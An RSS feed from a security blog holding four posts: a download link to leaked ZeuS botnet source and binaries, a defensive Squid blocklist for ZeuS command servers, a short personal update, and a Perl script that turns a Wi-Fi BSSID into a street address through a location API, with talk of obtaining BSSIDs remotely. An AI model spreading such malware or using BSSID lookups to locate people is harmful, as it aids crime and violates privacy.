<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Attack Vector</title>
	<atom:link href="http://www.attackvector.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.attackvector.org</link>
	<description>Shedding Light on the Dark Side.</description>
	<lastBuildDate>Tue, 31 Jan 2012 21:36:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>ZeuS source code, anyone?</title>
		<link>http://www.attackvector.org/zeus-source-code-anyone/</link>
		<comments>http://www.attackvector.org/zeus-source-code-anyone/#comments</comments>
		<pubDate>Thu, 12 May 2011 19:53:47 +0000</pubDate>
		<dc:creator>Matt</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[leak]]></category>
		<category><![CDATA[ZeuS]]></category>

		<guid isPermaLink="false">http://www.attackvector.org/?p=639</guid>
		<description><![CDATA[If you&#8217;d like to take a look at the ZeuS/SpyEye botnet source code and see how it ticks, you can download it below. I&#8217;m not sure how long this will be up (for obvious reasons), so get it while it&#8217;s hot. ZeuS 2.0.8.9 Enjoy.. PS &#8211; I am in no way responsible for the use [...]


Related posts:<ol><li><a href='http://www.attackvector.org/lets-see-if-i-still-remember-how-to-do-this/' rel='bookmark' title='Lets see if I still remember how to do this&#8230;'>Lets see if I still remember how to do this&#8230;</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;d like to take a look at the ZeuS/SpyEye botnet source code and see how it ticks, you can download it below.  I&#8217;m not sure how long this will be up (for obvious reasons), so get it while it&#8217;s hot.</p>
<p><a href="http://www.attackvector.org/files/ZeuS.tar.bz2">ZeuS 2.0.8.9</a></p>
<p>Enjoy.. </p>
<p>PS &#8211; I am in no way responsible for the use of this software.  I am distributing it purely for it&#8217;s educational value.  It&#8217;s a really good example of the science behind the bot networks and will, hopefully, help us combat them.</p>
<p>PPS &#8211; I just noticed that it includes the binaries.. I would uh, recommend not running those unless you know what you&#8217;re doing.  Like, say, in a virtual machine that you don&#8217;t care about, for example.  If you find anything neat, let me know.  I&#8217;m just starting to go through it myself.</p>
 <img src="http://www.attackvector.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=639" width="1" height="1" style="display: none;" /><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.attackvector.org%2Fzeus-source-code-anyone%2F&amp;title=ZeuS%20source%20code%2C%20anyone%3F" id="wpa2a_2"><img src="http://www.attackvector.org/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>

<p>Related posts:<ol><li><a href='http://www.attackvector.org/lets-see-if-i-still-remember-how-to-do-this/' rel='bookmark' title='Lets see if I still remember how to do this&#8230;'>Lets see if I still remember how to do this&#8230;</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.attackvector.org/zeus-source-code-anyone/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Lets see if I still remember how to do this&#8230;</title>
		<link>http://www.attackvector.org/lets-see-if-i-still-remember-how-to-do-this/</link>
		<comments>http://www.attackvector.org/lets-see-if-i-still-remember-how-to-do-this/#comments</comments>
		<pubDate>Thu, 10 Mar 2011 19:56:15 +0000</pubDate>
		<dc:creator>Matt</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[ACL]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[crime]]></category>
		<category><![CDATA[information]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Krebs]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[squid]]></category>
		<category><![CDATA[worm]]></category>
		<category><![CDATA[ZeuS]]></category>
		<category><![CDATA[ZeusTracker]]></category>

		<guid isPermaLink="false">http://www.attackvector.org/?p=633</guid>
		<description><![CDATA[Do I still have any regular readers left? I hope so, even though I&#8217;ve greatly neglected you. I wont even bother with excuses. BUT, here&#8217;s a post to prove that I still know what I&#8217;m doing! So, if you&#8217;ve been following some of the other blogs (specifically, Krebs), you&#8217;ve probably seen the hubbub about ZeusTracker. [...]


Related posts:<ol><li><a href='http://www.attackvector.org/browser-headers-and-information-leaks/' rel='bookmark' title='Browser headers and information leaks'>Browser headers and information leaks</a></li>
<li><a href='http://www.attackvector.org/botnet-command-and-control-methods/' rel='bookmark' title='Botnet Command and Control Methods'>Botnet Command and Control Methods</a></li>
<li><a href='http://www.attackvector.org/file-server-lnkstuxnet-protection/' rel='bookmark' title='File Server LNK Protection'>File Server LNK Protection</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Do I still have any regular readers left?  I hope so, even though I&#8217;ve greatly neglected you.  I wont even bother with excuses.  BUT, here&#8217;s a post to prove that I still know what I&#8217;m doing!  <img src='http://www.attackvector.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<p>So, if you&#8217;ve been following some of the other blogs (specifically, <a href="http://krebsonsecurity.com/2011/03/spyeye-zeus-users-target-tracker-sites/?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed%3A+KrebsOnSecurity+%28Krebs+on+Security%29" ref="noindex" target="_blank">Krebs</a>), you&#8217;ve probably seen the hubbub about <a href="https://zeustracker.abuse.ch/" ref="noindex" target="_blank">ZeusTracker</a>.  If not, I highly recommend you click on that previous link and go read.  It&#8217;s long, but quite interesting.</p>
<p>ZeuS, if you&#8217;re unaware, is a big botnet that&#8217;s used heavily in cyber crime.  You don&#8217;t want to get infected by this.  To those who manage networks:  You don&#8217;t want your users to get infected by this.</p>
<p><span id="more-633"></span></p>
<p>ZeusTracker is watching for Zeus C&#038;C traffic via honeypots and documenting the known hosts/domains/IP&#8217;s associated with them.  They&#8217;ve created a nice list that can be easily imported in to iptables, Windows host files, Squid, et. al.</p>
<p>I run Squid on one of the gateways here, so I decided to utilize that to implement this blacklist.  Squid makes this incredibly simple, which is also a big plus.</p>
<p>In your Squid config file, you&#8217;ll see a section that&#8217;s all about ACL&#8217;s (access control lists).  If you scroll down far enough, you&#8217;ll see a section that says:</p>
<blockquote><p>
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
</p></blockquote>
<p>So, the simplest way to implement a blacklist is by adding the following just below that comment.  Mine looks like this:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p633code3'); return false;">View Code</a> C</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6333"><td class="code" id="p633code3"><pre class="c" style="font-family:monospace;"><span style="color: #339933;"># ZeuS C&amp;C domains</span>
acl blocksites url_regex <span style="color: #ff0000;">&quot;/etc/squid/zeus.txt&quot;</span>
http_access deny blocksites</pre></td></tr></table></div>

<p>Pretty simple, eh?</p>
<p>&#8216;Course, now you have to create the &#8220;zeus.txt&#8221; file, otherwise that rule isn&#8217;t going to do you any good.  If you go to <a href="https://zeustracker.abuse.ch/blocklist.php" ref="noindex" target="_blank">here</a>, you&#8217;ll see a list of files that all contain the hosts &#038; ip&#8217;s that ZeusTracker knows about.  In this case, you want the one formatted for Squid.</p>
<p>Now, you&#8217;ll need for this to update, say, daily, so you&#8217;ll need to create a script and invoke it via Crontab.  Here&#8217;s my stupid-simple script:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p633code4'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6334"><td class="code" id="p633code4"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>squid<span style="color: #000000; font-weight: bold;">/</span>zeus.txt
<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>curl <span style="color: #ff0000;">&quot;https://zeustracker.abuse.ch/blocklist.php?download=squidblocklist&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>squid<span style="color: #000000; font-weight: bold;">/</span>zeus.txt
<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>squid restart</pre></td></tr></table></div>

<p>It simply deletes the current zeus.txt file, downloads the newest version via Curl, and then restarts Squid.</p>
<p>This is a really quick &#038; easy way to (help) protect your network from this trojan/worm/whatever you want to call it.  I&#8217;ve noticed recently that even a user who is running a fully patched version of Windows (Vista), with Google Chrome, this thing is still capable of infecting the machine.  I haven&#8217;t found any real good information on how, but from what I&#8217;ve witnessed, it appears to be a Java exploit.</p>
<p>Anyway, give this a shot!</p>
 <img src="http://www.attackvector.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=633" width="1" height="1" style="display: none;" /><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.attackvector.org%2Flets-see-if-i-still-remember-how-to-do-this%2F&amp;title=Lets%20see%20if%20I%20still%20remember%20how%20to%20do%20this%26%238230%3B" id="wpa2a_4"><img src="http://www.attackvector.org/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>

<p>Related posts:<ol><li><a href='http://www.attackvector.org/browser-headers-and-information-leaks/' rel='bookmark' title='Browser headers and information leaks'>Browser headers and information leaks</a></li>
<li><a href='http://www.attackvector.org/botnet-command-and-control-methods/' rel='bookmark' title='Botnet Command and Control Methods'>Botnet Command and Control Methods</a></li>
<li><a href='http://www.attackvector.org/file-server-lnkstuxnet-protection/' rel='bookmark' title='File Server LNK Protection'>File Server LNK Protection</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.attackvector.org/lets-see-if-i-still-remember-how-to-do-this/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>No, I&#8217;m not dead.</title>
		<link>http://www.attackvector.org/no-im-not-dead/</link>
		<comments>http://www.attackvector.org/no-im-not-dead/#comments</comments>
		<pubDate>Thu, 04 Nov 2010 15:37:38 +0000</pubDate>
		<dc:creator>Matt</dc:creator>
				<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://www.attackvector.org/?p=626</guid>
		<description><![CDATA[OK, so I&#8217;ve received a couple of emails from different people wondering if I was abducted by the NSA, assassinated, or if I&#8217;m on the run with Julian Assange. No, no, and.. no. Though, that&#8217;d be pretty sweet. Minus being assassinated. That would suck. Honestly, right now, I&#8217;m being pulled in like, 73 different directions. [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>OK, so I&#8217;ve received a couple of emails from different people wondering if I was abducted by the NSA, assassinated, or if I&#8217;m on the run with Julian Assange.</p>
<p>No, no, and.. no.  Though, that&#8217;d be pretty sweet.  Minus being assassinated.  That would suck.</p>
<p>Honestly, right now, I&#8217;m being pulled in like, 73 different directions.  which doesn&#8217;t leave me with much time for anything else, including a social or blogging life.</p>
<p>But!  I expect that I will be able to begin blogging again within the next few weeks and hopefully will return to my regular production level.</p>
<p>I don&#8217;t want you guys to fall behind, though.. so let me summarize the past few weeks in the security world:</p>
<p>Microsoft 0day<br />
Microsoft 0day<br />
Stuxnet<br />
Adobe 0day<br />
Java 0day<br />
Microsoft 0day<br />
Adobe 0day<br />
Adobe 0day<br />
&#8230;Adobe 0day<br />
Facebook privacy<br />
Julian Assange</p>
<p>There, consider yourself up to date.  <img src='http://www.attackvector.org/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
 <img src="http://www.attackvector.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=626" width="1" height="1" style="display: none;" /><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.attackvector.org%2Fno-im-not-dead%2F&amp;title=No%2C%20I%26%238217%3Bm%20not%20dead." id="wpa2a_6"><img src="http://www.attackvector.org/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>

<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.attackvector.org/no-im-not-dead/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Geolocation Using BSSID</title>
		<link>http://www.attackvector.org/geolocation-using-bssid/</link>
		<comments>http://www.attackvector.org/geolocation-using-bssid/#comments</comments>
		<pubDate>Wed, 22 Sep 2010 16:25:41 +0000</pubDate>
		<dc:creator>Matt</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[BSSID]]></category>
		<category><![CDATA[DefCon]]></category>
		<category><![CDATA[demo]]></category>
		<category><![CDATA[Geolocation]]></category>
		<category><![CDATA[GPS]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[Skyhook]]></category>
		<category><![CDATA[SSID]]></category>
		<category><![CDATA[war]]></category>
		<category><![CDATA[WiFi]]></category>

		<guid isPermaLink="false">http://www.attackvector.org/?p=613</guid>
		<description><![CDATA[This was discussed at DefCon 18 in a talk by Sammy Kamkar, but as far as I know, Sammy didn&#8217;t release his code, so I had to come up with something on my own. First, one big difference. His version of this uses the Google Location Services API. I&#8217;ve opted to use the Skyhook service [...]


Related posts:<ol><li><a href='http://www.attackvector.org/invasion-of-privacy/' rel='bookmark' title='Invasion of Privacy.'>Invasion of Privacy.</a></li>
<li><a href='http://www.attackvector.org/new-dll-hijacking-exploits-many/' rel='bookmark' title='New DLL Hijacking Exploits (many!)'>New DLL Hijacking Exploits (many!)</a></li>
<li><a href='http://www.attackvector.org/get-fined-for-not-password-protecting-your-wireless-network/' rel='bookmark' title='Get Fined For Not Password Protecting Your Wireless Network.'>Get Fined For Not Password Protecting Your Wireless Network.</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>This was discussed at DefCon 18 in a talk by <a href="http://samy.pl/talks/2010-defcon.ppt" rel="nofollow" target="_blank">Sammy Kamkar</a>, but as far as I know, Sammy didn&#8217;t release his code, so I had to come up with something on my own.</p>
<p>First, one big difference.  <a href="http://samy.pl/mapxss/" rel="nofollow" target="_blank">His version</a> of this uses the Google Location Services API.  I&#8217;ve opted to use the Skyhook service instead because there&#8217;s far more documentation and sample code that exists using this API, whereas I was unable to find anything too terribly helpful when it came to using the GLS API for this particular purpose.  If anyone has any insight on this, please, please, let me know.  I&#8217;d like to incorporate that into this script for comparison data.<br />
<span id="more-613"></span><br />
Ok, so, how does this work, exactly?  Both companies (Google &#038; Skyhook) have employed a large number of people to drive around with laptops, GPS&#8217;s, and cameras attached to the roofs of their car in order to create a database.  Everyone is aware of street view by Google, but were you aware of the fact that they also record wireless information?  Well, I guess probably most people are aware of that now, considering the issues they had in Germany, but what you probably weren&#8217;t aware of is what this data is used for.  Google and Skyhook both provide this database for software based location systems.</p>
<p>So, whats in the database?  Skyhook is pretty open about the fact that they&#8217;re collecting wifi data in order to provide better location services.  They call it &#8220;XPS&#8221;, which combines information from wifi, GPS, and cell phone towers to pin point an exact location.</p>
<p><center><img src="http://www.skyhookwireless.com/images/content/charts/xps.gif"></center></p>
<p>Anyway, what does that mean for us?  It means that we can query this database with a BSSID from a wireless network and get the nearest address and coordinates returned.  Thanks SkyHook!  <img src='http://www.attackvector.org/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Here&#8217;s an example.  Not too long ago I was in the cities and did some driving with a buddy of mine.  I&#8217;ll demonstrate this using a BSSID that was in the log created on that drive:</p>
<blockquote><p>
$ ./getloc.pl 00:24:B2:1E:24:FE<br />
490 Robert St N<br />
Ramsey county<br />
St. Paul, Minnesota 55101<br />
Latitude: 44.95063<br />
Longitude: -93.0940583</p>
<p>http://maps.google.com/maps?f=q&#038;source=s_q&#038;hl=en&#038;geocode=&#038;q=44.95063+-93.0940583&#038;sll=37.0625,-95.677068&#038;sspn=57.815136,114.169922&#038;ie=UTF8&#038;t=h&#038;z=17</p>
</blockquote>
<p>So, using just the BSSID I&#8217;m able to get a house number (in this case, a building number), street address, and the coordinates.</p>
<p>Here&#8217;s my code.. feel free to modify it/add to it/whatever.. but if you add anything cool, please let me know.  <img src='http://www.attackvector.org/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p613code6'); return false;">View Code</a> PERL</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6136"><td class="code" id="p613code6"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span>
<span style="color: #666666; font-style: italic;"># www.attackvector.org</span>
<span style="color: #666666; font-style: italic;"># </span>
<span style="color: #000000; font-weight: bold;">use</span> LWP<span style="color: #339933;">::</span><span style="color: #006600;">UserAgent</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> XML<span style="color: #339933;">::</span><span style="color: #006600;">LibXML</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #0000ff;">$url</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;https://api.skyhookwireless.com/wps2/location&quot;</span><span style="color: #339933;">;</span>
<span style="color: #0000ff;">$ua</span> <span style="color: #339933;">=</span> LWP<span style="color: #339933;">::</span><span style="color: #006600;">UserAgent</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">new</span><span style="color: #339933;">;</span>
<span style="color: #0000ff;">$handler</span> <span style="color: #339933;">=</span> XML<span style="color: #339933;">::</span><span style="color: #006600;">LibXML</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">new</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #0000ff;">$bssid</span><span style="color: #339933;">=</span> <span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #0000ff;">$bssid</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">s/\://g</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$bssid</span> <span style="color: #b1b100;">eq</span> <span style="color: #ff0000;">&quot;&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
 <a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;Usage: $0 &lt;bssid&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
 <a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;Example: $0 AA:BB:CC:DD:EE:FF<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
 <a href="http://perldoc.perl.org/functions/exit.html"><span style="color: #000066;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">sub</span> response <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$response</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">@_</span><span style="color: #339933;">;</span>
    <span style="color: #0000ff;">$xml</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$response</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">content</span><span style="color: #339933;">;</span>
    <span style="color: #0000ff;">$xml</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">s/\n//g</span><span style="color: #339933;">;</span>
    <span style="color: #0000ff;">$page</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$handler</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">parse_string</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$xml</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #009900;">&#123;</span><span style="color: #0000ff;">$page</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'longitude'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">ne</span> <span style="color: #ff0000;">&quot;&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #0000ff;">$lat</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$page</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'latitude'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
        <span style="color: #0000ff;">$long</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$page</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'longitude'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #0000ff;">$streetnum</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$page</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'street-number'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #0000ff;">$streetname</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$page</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'address-line'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #0000ff;">$city</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$page</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'city'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #0000ff;">$zip</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$page</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'postal-code'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #0000ff;">$co</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$page</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'county'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
        <span style="color: #0000ff;">$state</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$page</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'state'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;$streetnum $streetname<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;$co county<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;$city, $state $zip<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;Latitude: $lat<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>  
        <a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;Longitude: $long<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=&quot;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">$lat</span> <span style="color: #339933;">.</span> <span style="color: #ff0000;">&quot;+&quot;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">$long</span> <span style="color: #339933;">.</span> <span style="color: #ff0000;">&quot;&amp;sll=37.0625,95.677068&amp;sspn=57.815136,114.169922&amp;ie=UTF8&amp;t=h&amp;z=17<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
        <a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;No results for $bssid<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #0000ff;">$request</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;&lt;?xml version='1.0'?&gt;  
&lt;LocationRQ xmlns='http://skyhookwireless.com/wps/2005' version='2.6' street-address-lookup='full'&gt;  
  &lt;authentication version='2.0'&gt;  
    &lt;simple&gt;  
      &lt;username&gt;beta&lt;/username&gt;  
      &lt;realm&gt;js.loki.com&lt;/realm&gt;  
    &lt;/simple&gt;  
  &lt;/authentication&gt;  
  &lt;access-point&gt;  
    &lt;mac&gt;$bssid&lt;/mac&gt;  
    &lt;signal-strength&gt;-50&lt;/signal-strength&gt;  
  &lt;/access-point&gt;  
&lt;/LocationRQ&gt;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #0000ff;">$response</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$ua</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">post</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">$url</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">'Content-Type'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #ff0000;">'text/xml'</span><span style="color: #339933;">,</span> Content <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">$request</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
response<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$response</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>If you come up with or know of any creative ways to remotely obtain a BSSID, please comment below.  Sammy mentions using XSS, but this only works against the Verizon FiOS router.  I&#8217;m thinking a Java applet or script and UPnP.  I&#8217;ll let you know if I come up with anything interesting.</p>
 <img src="http://www.attackvector.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=613" width="1" height="1" style="display: none;" /><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.attackvector.org%2Fgeolocation-using-bssid%2F&amp;title=Geolocation%20Using%20BSSID" id="wpa2a_8"><img src="http://www.attackvector.org/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>

<p>Related posts:<ol><li><a href='http://www.attackvector.org/invasion-of-privacy/' rel='bookmark' title='Invasion of Privacy.'>Invasion of Privacy.</a></li>
